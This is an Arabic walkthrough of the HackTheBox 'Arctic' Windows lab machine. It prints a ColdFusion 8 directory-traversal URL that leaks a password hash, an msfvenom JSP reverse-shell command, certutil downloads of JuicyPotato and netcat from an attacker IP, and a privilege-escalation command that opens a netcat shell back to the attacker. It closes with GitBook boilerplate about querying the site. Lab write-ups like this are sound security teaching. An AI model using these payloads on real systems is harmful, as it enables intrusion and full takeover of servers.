> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# تقرير HackTheBox عن Artic
{% hint style="warning" %}
**المهارات:**
* استغلال Adobe ColdFusion 8
* ثغرة اجتياز الدليل
* كسر التجزئات
* استغلال المهام المجدولة - إنشاء ملف JSP خبيث
* استغلال امتياز SeImpersonate (تصعيد الامتيازات)
{% endhint %}
## الاستطلاع
**إعداد مساحة العمل:**
قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.
**فحص اتصال VPN**
تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.
**اكتشاف المنافذ المفتوحة باستخدام Nmap:**
قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**تحليل المنافذ المفتوحة باستخدام extractPorts:**
استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.
**فحص إصدارات المنافذ باستخدام Nmap:**
استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## استغلال Adobe ColdFusion 8 (المنفذ 8500)
نلاحظ وجود خدمة إدارية متاحة على المنفذ 8500 تتطلب اسم مستخدم وكلمة مرور للاتصال بـ Adobe ColdFusion.
من خلال البحث عن الثغرات المرتبطة في `searchsploit`، نجد نصًا برمجيًا عاملًا لثغرة اجتياز الدليل.
`searchsploit -x multiple/remote/14641.py`
يكشف هذا النص البرمجي عن ثغرة LFI للوصول إلى قائمة كلمات المرور:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
يحتوي الملف على القيمة التالية لكلمة المرور:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### كسر كلمة المرور
{% embed url="" %}
باستخدام CrackStation، نفك تشفير هذا التجزئة، وكلمة المرور هي `happyday`. يمكننا الآن الاتصال بنجاح.
### إنشاء مهمة مجدولة خبيثة
في قسم المهام المجدولة، سننشئ مهمة جديدة لحفظ ملف خبيث في `C:/ColdFusion8/wwwroot/CFIDE` الدليل الذي نملك عليه صلاحيات القراءة/الكتابة.
**إنشاء ملف JSP:** بما أن الخادم يستطيع تفسير ملفات JSP، فسوف ننشئ غلاف JSP باستخدام `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**إضافة مهمة جديدة:** نقوم بإعداد المهمة المجدولة لتشغيل هذا الملف الخبيث.
/*/* خادم HTTP لنقل الملف:/*/* لنقل ملف JSP، نشغّل خادم HTTP على جهازنا:
```bash
python3 -m http.server 80
```
**الاستماع والتنفيذ:** نستمع على المنفذ 443 لاستقبال الصدفة العكسية ثم ننفذ المهمة المجدولة عند `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### الراية user.txt :)
## تصعيد الامتيازات
### استغلال SeImpersonatePrivilege:
وجدنا أن المستخدم يمتلك `SeImpersonatePrivilege` الامتياز، مما يجعله عرضة لبعض تقنيات تصعيد الصلاحيات. يؤكد الأمر أدناه وجود هذا الامتياز:
```bash
whoami /priv
```
لاستغلال هذه الثغرة، سنستخدم **JuicyPotato**، وهي أداة معروفة لاستغلال هذا الامتياز في بيئة Windows.
**تنزيل الأدوات المطلوبة**
{% embed url="" %}
{% embed url="" %}
**بدء خادم HTTP** على جهاز الهجوم الخاص بنا لتقديم الملفات:
```bash
python3 -m http.server 8080
```
**نقل الملفات إلى الجهاز الهدف** باستخدام `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**تنفيذ JuicyPotato لتصعيد الامتياز**
سنقوم الآن بتشغيل JuicyPotato للحصول على جلسة بصلاحيات مرتفعة. يشغّل الأمر التالي JuicyPotato، والذي يشغّل `cmd.exe` بامتيازات عالية ويبدأ اتصالًا بجهاز الهجوم الخاص بنا عبر Netcat:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**تسجيل الدخول إلى جلسة مرتفعة**
لالتقاط الاتصال، نستمع إلى المنفذ 1234:
```bash
rlwrap nc -nvlp 1234
```
### فلاغ الجذر :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.